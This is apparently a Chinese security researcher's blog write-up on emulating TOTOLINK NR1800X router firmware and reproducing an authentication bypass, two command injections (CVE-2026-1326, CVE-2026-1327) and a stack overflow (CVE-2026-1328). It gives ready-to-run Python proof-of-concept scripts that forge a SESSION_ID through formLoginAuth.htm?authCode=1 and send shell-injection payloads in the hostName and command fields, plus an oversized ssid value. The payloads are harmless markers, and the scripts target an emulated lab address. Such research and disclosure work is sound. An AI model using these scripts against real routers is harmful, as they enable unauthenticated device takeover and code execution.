固件下载与系统模拟
固件:
首先是下载对应版本固件NR1800X_V9.1.0u.6279_B20210910.bin:https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html
然后是binwalk解压,接着看busybox架构,发现是mips小端
然后是下载对应镜像 Index of /~aurel32/qemu/mipsel
我是下载这两个
系统模拟
这里是采用tap0+nat模式
现在本地创建
1 2
| sudo tunctl -t tap0 -u $(whoami) sudo ifconfig tap0 192.168.10.1 netmask 255.255.255.0
|
然后qemu系统启动
1 2 3 4 5
| sudo qemu-system-mipsel -M malta \ -kernel vmlinux-3.2.0-4-4kc-malta \ -hda debian_squeeze_mipsel_standard.qcow2 \ -append "root=/dev/sda1 console=tty0" -nographic \ -net nic -net tap,ifname=tap0,script=no,downscript=no
|
然后设置ip
1
| ifconfig eth0 192.168.10.2 netmask 255.255.255.0
|
接着互ping一下,然后将squashfs-root打包传送
然后挂载必要文件chroot启动
1 2 3 4
| cd squashfs-root/ mount -t proc /proc ./proc mount -o bind /dev ./dev chroot . /bin/sh
|
然后查找http类型文件,发现有三个,.conf是配置文件,所以/usr/sbin/lighttpd -f /lighttp/lighttpd.conf启动,发现报错,把丢失文件夹补上
1 2 3 4 5 6 7 8 9 10 11 12 13
| / bin etc_ro lib mnt sbin usr dev home lighttp opt sys var etc init media proc tmp www / ./usr/sbin/lighttpd ./lighttp ./lighttp/lighttpd.conf / 2026-05-14 06:14:37: (server.c.624) opening pid-file failed: /var/run/lighttpd.pid No such file or directory / / /
|
成功启动了
未授权访问漏洞 (认证绕过)
每次用户登陆成功都会生成session_id,有了这个可以无需用户名和密码就可以登陆路由器
打开wireshark,密码随意输入,抓包,搜索ip.addr == 192.168.10.2 and http.request.method == "GET" or http.request.method == "POST",找到了。账号默认是admin
应答包,看locationLocation: http://192.168.10.2/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login\r\n,这个意思是访问登录密码部分返回到location
漏洞函数分析
cstecgi.cgi
然后打开IDA逆向分析cstecgi.cgi,搜索formLoginAuth.htm字符,可以定位到sub_42AEEC(int a1)函数
这个函数就是将传入的URL操作,并返回location:http://192.168.10.2/formLoginAuth.htm?authCode=0&userName=admin&goURL=login.html&action=login,然后将其交给lighttpd操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| int __fastcall sub_42AEEC(int a1) { 。。。设置初始化参数 v31 = 0; v33 = 0; Var = websGetVar(a1, "loginAuthUrl", "");获取URL参数 Object = cJSON_CreateObject();创建json对象 v3 = 0; v37 = v28; while ( 1 ) { v5 = v3 + 1; if ( getNthValueSafe(v3, Var, "&", v26, 1024) == -1 ) break; if ( getNthValueSafe(0, v26, "=", v27, 128) != -1 && getNthValueSafe(1, v26, "=", v37, 256) != -1 ) { String = cJSON_CreateString(v37); cJSON_AddItemToObject(Object, v27, String); } v3 = v5; } 将URL参数转换为json对象 然后就是参数设置 v6 = (const char *)websGetVar(Object, "username", ""); v7 = websGetVar(Object, "password", ""); v8 = (_BYTE *)websGetVar(Object, "http_host", ""); v9 = websGetVar(Object, "flag", &word_4370EC); v10 = websGetVar(Object, "verify", &word_4370EC);获取验证码参数 v11 = atoi(v10);将其转换为整数 v12 = nvram_get_int("wizard_flag");这是路由器配置项的值,配置成功是0 。。。配置成功返回0,不进入if内,直接删去 urldecode(v7, v35);将账号名url解码给予v35 v14 = nvram_safe_get("http_username");路由器用户名 strcpy(v30, v14);v30存的是账号 v15 = nvram_safe_get("http_passwd"); strcpy(v32, v15);v32存的是密码 if ( *v8 ) strcpy(v29, v8);v29存的是host头,就是地址 else strcpy(v29, v34); 。。。参数上没有verify,所以v11=0,没进去if函数 nvram_set_int_temp("verify_code_flag", 0); nvram_set_int_temp("tmp_sys_uptime", 0); v17 = strcmp(v6, v30); v18 = strcmp(v35, v32) || v17 != 0; 。。。 接下来的if函数就是关键了,账号密码比较验证 if ( !strcmp(v6, v30) && !strcmp(v35, v32) || nvram_get_int("ren_qing_style") == 1 && !*(_BYTE *)nvram_safe_get("http_passwd") ) { 。。。都未符合,所以最后执行else else { strcpy(v23, "home.html"); } nvram_set_int_temp("cloudupg_checktype", 1); doSystem("lktos_reload %s", "cloudupdate_check 2>/dev/null"); v18 = 1;!!!!!!!!!!重点在这 } snprintf(v24, 4096, "{\"httpStatus\":\"%s\",\"host\":\"%s\"", "302", v29); 这是写入{"httpStatus":"302","host":"192.168.10.2" v19 = strlen(v24); 进入else else { snprintf( &v24[v19], 4096 - v19, ",\"redirectURL\":\"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login\"}", v29, v18, v6, v23); } v24={"httpStatus":"302","host":"192.168.10.2","redirectURL":"http://192.168.10.2/formLoginAuth.htm?authCode=0&userName=admin&goURL=login.html&action=login"} 接下来就是查找v24从总提取redirectURL参数的值也就是http://192.168.10.2/formLoginAuth.htm?authCode=0&userName=admin&goURL=login.html&action=login v20 = cJSON_Parse(v24); v21 = (const char *)websGetVar(v20, "redirectURL", ""); puts("HTTP/1.1 302 Redirect to page"); puts("Content-type: text/plain"); puts("Connection: Keep-Alive\nPragma: no-cache\nCache-Control: no-cache"); printf("Location: %s\n\n", v21); printf("protal page"); return 0; }
|
其实到这里已经可以猜到了,账号密码验证成功authcode=1,所以直接构造URL就可以了测试一下发现成功得到session_id了,但是我们接着往下看程序的完整运行情况
然后根据下图可知接下来得到 http://192.168.10.2/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login,然后lighttpd.conf文本有这样一段话cgi.assign = ( ".htm" => "/usr/sbin/lighttpd" ),意思就是将htm文本交给lighttpd程序处理
lighttpd
userloginAuth
首先是查找字符串,然后找到对应的函数userloginAuth,然后匹配进入Form_Login函数
Form_Login
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| int __fastcall Form_Login(int a1, int a2, int a3) { 。。。 v6 = (char *)inet_ntoa(*(_DWORD *)(a1 + 128)); 。。。 v26 = v22; 。。。 v7 = *(_DWORD **)(a1 + 272);存储的是host指针 v14 = 0; strcpy(v23, *v7);v23存储的是host数据,就是ip v8 = 0; if ( !buffer_is_empty(*(_DWORD *)(a1 + 328)) )这个猜测是参数所在位置 { strncpy(v25, **(_DWORD **)(a1 + 328), 1023); v28 = &v14; v30 = &v18; v27 = v25; v29 = v20; v9 = v26; v10 = 0; v31 = v17; while ( 1 ) { v26 = v10 + 1; if ( getNthValueSafe(v10, v27, 38, v24, 512) == -1 ) break; if ( getNthValueSafe(0, v24, 61, v21, 128) != -1 && getNthValueSafe(1, v24, 61, v9, 128) != -1 ) {这里v9存的是每个参数对应的值 if ( strstr(v21, "authCode") ) v8 = atoi(v9); if ( strstr(v21, "userName") ) strcpy(v31, v9); if ( strstr(v21, "password") ) strcpy(v30, v9); if ( strstr(v21, "goURL") ) strcpy(v29, v9); if ( strstr(v21, "flag") ) strcpy(v28, v9); } v10 = v26; } } v20和v14都为0,所以v11 = "home.html" if ( !v20[0] ) { if ( strstr(&v14, "ie8") ) { v11 = "wan_ie.html"; } else if ( atoi(&v14) == 1 ) { v11 = "phone/home.html"; } else { v11 = "home.html"; } strcpy(v20, v11); } v8就是authcode的值 if ( v8 ) { fbss = 0; do { v13 = time(0); if ( !ws_get_cookie(a1, "SESSION_ID", v16, 0) && form_get_idx_by_sessionid(&fl_sess, v13, v16) != -1 )这个是验证url中是否有session_id并且判断其是否有效 { sprintf(a2, "http://%s/%s?timestamp=%ld", v23, v20, v13); return 1; } 由于上面未进入if,所以v15存的是timestamp的值:2 sprintf(v15, "%ld:%d", v13, 2); sprintf(v19, "%d:%s", 2, v15);v19存的是2:(timestamp):2 } while ( form_get_idx_by_sessionid(&fl_sess, v13, v19) != -1 );这个是检查新生成的session_id(v19)是否被占用,被占用返回-1 if ( !v6 )v6是host参数 v6 = ""; if ( form_add_session(&fl_sess, &fl_sess_bak, -1, v17, v6, v19, 2, v13) )这个是将新生成的session_id添加到服务器中 { ws_set_cookie(a3, "SESSION_ID", v19, 0, "/", 0);告知浏览器保存session_id,这样子下次登录可以辨认身份,保存给a3 sprintf(a2, "http://%s/%s?timestamp=%ld", v23, v20, v13);a2=http://192.168.10.2/home.html?timestamp=v13 return 0; } 。。。。
|
然后看checkLoginUser函数,location是http://192.168.10.2/home.html?timestamp=v13,此时请求头会自动带上cookie,所以登录成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| int __fastcall checkLoginUser(int a1, int a2) { int *v4; // $s0 int v5; // $s2 int v6; // $s3 int result; // $v0 int v8; // $v0 int idx_by_sessionid; // $v0 _BYTE v10[20]; // [sp+18h] [-158h] BYREF _BYTE v11[64]; // [sp+2Ch] [-144h] BYREF char v12[260]; // [sp+6Ch] [-104h] BYREF
memset(v12, 0, 256); v4 = (int *)v10; memcpy(v10, &off_439264, sizeof(v10)); v5 = time(0); while ( 1 ) { v8 = *v4++; v8是一个白名单,存的是.html文件,这里不用绕过 。。。 } strcpy(v12, **(_DWORD **)(a1 + 272)); 重点在这里,a1中的cookie已经含有了session_id,所以此时可以通过if判断,a2=http://192.168.10.2/index.html if ( ws_get_cookie(a1, "SESSION_ID", v11, 0) || (idx_by_sessionid = form_get_idx_by_sessionid(&fl_sess, v5, v11), idx_by_sessionid == -1) ) { sprintf(a2, "http://%s/index.html", v12); return 1; } }
|
漏洞执行流程
总的来说,a1应该是请求头,a2是location,a3是响应头
正常情况下是
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 用户在登录页面输入用户名/密码 ↓ 点击登录按钮 ↓ POST /cgi-bin/cstecgi.cgi ↓ 【这个函数】执行验证 ↓ 验证成功 → 返回 URL 包含 authCode=1 验证失败 → 返回 URL 包含 authCode=0 ↓ 浏览器跳转到 formLoginAuth.htm?authCode=X ↓ lighttpd 的 Form_Login 函数根据 authCode 创建 Session
|
但是我们可以通过直接访问http://192.168.10.2/formLoginAuth.htm?authCode=1&action=login
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| ┌─────────────────────────────────────────────────────────────────────────────────┐ │ 1. lighttpd 接收请求 │ │ 请求: GET /formLoginAuth.htm?authCode=1&action=login │ │ ↓ │ │ 发现是 .htm 文件,调用 userloginAuth() │ └─────────────────────────────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ 2. userloginAuth() 函数 │ │ 检查 URI 包含 "formLoginAuth.htm" │ │ ↓ │ │ 调用 Form_Login() 处理 │ └─────────────────────────────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ 3. Form_Login() 函数 【漏洞核心】 │ │ ↓ │ │ 解析 URL 参数: authCode=1 → v8 = 1 │ │ ↓ │ │ if ( v8 ) { // 条件成立 │ │ 生成 SESSION_ID = "2:1769496816:2" │ │ form_add_session() → 添加到 Session 表 │ │ ws_set_cookie() → 设置 Set-Cookie 响应头 │ │ sprintf(a2, "http://192.168.10.2/home.html...") → 设置 Location │ │ } │ └─────────────────────────────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ 4. lighttpd 返回 HTTP 响应 │ │ HTTP/1.1 302 Redirect │ │ Set-Cookie: SESSION_ID=2:1769496816:2; path=/ │ │ Location: http://192.168.10.2/home.html?timestamp=1769496816 │ └─────────────────────────────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ 5. 浏览器自动跳转到 /home.html,自动携带 Cookie │ │ → 进入管理界面,无需密码! │ └─────────────────────────────────────────────────────────────────────────────────┘
|
成功了
CVE-2026-1326命令注入
漏洞描述
sub_421c98
可以发现cstecgi.cgi中的sub_421c98函数有这样一段话,简单说就是如果v3符合条件,执行doSystem("echo '%s' > /proc/sys/kernel/hostname", v46),v46是url的hostName参数,那么如果将其构造为' ; echo 'Vulnerability Verified' > /tmp/poc.txt ; '那么执行的就是doSystem("echo '' ; echo 'Vulnerability Verified' > /tmp/poc.txt ; '' > /proc/sys/kernel/hostname", v46),就是执行echo ‘’ ; echo ‘Vulnerability Verified’ > /tmp/poc.txt ; ‘’ > /proc/sys/kernel/hostname这三条指令,可以造成未授权远程代码执行
再往上看,v3要满足!=0,3,4,并且v3是proto的参数,atoi只是将其从字符数字转换为整型
main
首先是Var满足set开头,然后是进行比对,v23存的是当前字符匹配成功指向的函数地址,v27指的是下一个会发生函数地址所在的内存地址,匹配成功就是执行函数,v17是url参数的对象,Var是topicurl所对应的参数值,应该是setWanCfg,对应的函数地址就是sub_421c98
poc编写
首先就是参数构造
1 2 3 4 5
| date={ 'topicurl':'setWanCfg' 'proto':'2' 'hostName':"' ; echo 'Vulnerability Verified' > /tmp/poc.txt ; '" }
|
然后是先访问获取session_id,然后进行漏洞函数操作,其实也可以不用get_session函数,直接curl就可以得到session_id,然后直接打就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| import requests import re
TARGET_IP = "192.168.10.2" BASE_URL = f"http://{TARGET_IP}" CGI_URL = f"{BASE_URL}/cgi-bin/cstecgi.cgi" AUTH_BYPASS_URL = f"{BASE_URL}/formLoginAuth.htm?authCode=1&action=login"
def get_session(): response = requests.get(AUTH_BYPASS_URL, timeout=5, allow_redirects=False) session_id = response.cookies.get("SESSION_ID") if not session_id: location = response.headers.get("Location", "") ts_match = re.search(r"timestamp=(\d+)", location) if ts_match: timestamp = ts_match.group(1) session_id = f"2:{timestamp}:2" return {"SESSION_ID": session_id} if session_id else None
def execute_cmd_injection(cookies): target_file = "/tmp/hack_success" cmd = f"echo 'Vulnerability Verified' > {target_file}" payload = f"'; {cmd}; '"
data = { "topicurl": "setWanCfg", "hostName": payload, "proto": "2" }
response = requests.post(CGI_URL, json=data, cookies=cookies, timeout=5) print(f"[+] 状态码: {response.status_code}")
if __name__ == "__main__": cookies = get_session() if cookies: execute_cmd_injection(cookies)
|
成功了
CVE-2026-1327命令注入
漏洞描述
根据描述漏洞位于这个位置,对应的函数是sub_420f68
sub_420F68
还有个黑名单
poc
构造就不写了,就和上面一个一样,参数部分改一下就好了,但是这个生成的只是一个空文本,并没有任何别的东西,感觉没什么危害,也有可能是我某个设置出了问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| import requests import re
TARGET_IP = "192.168.10.2" BASE_URL = f"http://{TARGET_IP}" CGI_URL = f"{BASE_URL}/cgi-bin/cstecgi.cgi" AUTH_BYPASS_URL = f"{BASE_URL}/formLoginAuth.htm?authCode=1&action=login"
def get_session(): response = requests.get(AUTH_BYPASS_URL, timeout=5, allow_redirects=False) session_id = response.cookies.get("SESSION_ID") if not session_id: location = response.headers.get("Location", "") ts_match = re.search(r"timestamp=(\d+)", location) if ts_match: timestamp = ts_match.group(1) session_id = f"2:{timestamp}:2" return {"SESSION_ID": session_id} if session_id else None
def execute_cmd_injection(cookies): target_file = "/tmp/hack_success" cmd = f"echo 'Vulnerability Verified' > {target_file}" payload = f"'; {cmd}; '"
data = { "topicurl": "setTracerouteCfg", "command": f"echo 'Exploit Success' > {target_file} #", "num": "4" }
response = requests.post(CGI_URL, json=data, cookies=cookies, timeout=5) print(f"[+] 状态码: {response.status_code}")
if __name__ == "__main__": cookies = get_session() if cookies: execute_cmd_injection(cookies)
|
CVE-2026-1328栈溢出
漏洞描述
位置在这,对应的是sub_428C84
sub_428C84
很明显的栈溢出漏洞,v49对应的不是stack结构,所以溢出位置是在v77
poc
也没什么好说的,改个参数就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import requests import re
base_url = "http://192.168.10.2" auth_url = f"{base_url}/formLoginAuth.htm?authCode=1&action=login" cgi_url = f"{base_url}/cgi-bin/cstecgi.cgi"
def get_session(): try: res = requests.get(auth_url, timeout=5, allow_redirects=False) sid = res.cookies.get("SESSION_ID") if not sid: location = res.headers.get("Location", "") match = re.search(r"timestamp=(\d+)", location) if match: sid = f"2:{match.group(1)}:2" return sid except Exception as e: print(f"[!] 获取 Session 失败: {e}") return None
session_id = get_session()
if session_id: print(f"[*] 成功获取 SESSION_ID: {session_id}") url = cgi_url cookie = {"SESSION_ID": session_id} data = {"topicurl": "setWizardCfg", "ssid": "a" * 0x1000} response = requests.post(url, cookies=cookie, json=data) print(response.text) print(response) else: print("[-] 无法执行后续操作,未获取到有效的 SESSION_ID")
|
成功了
参考
https://www.iotsec-zone.com/article/530#cve-2026-1326%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5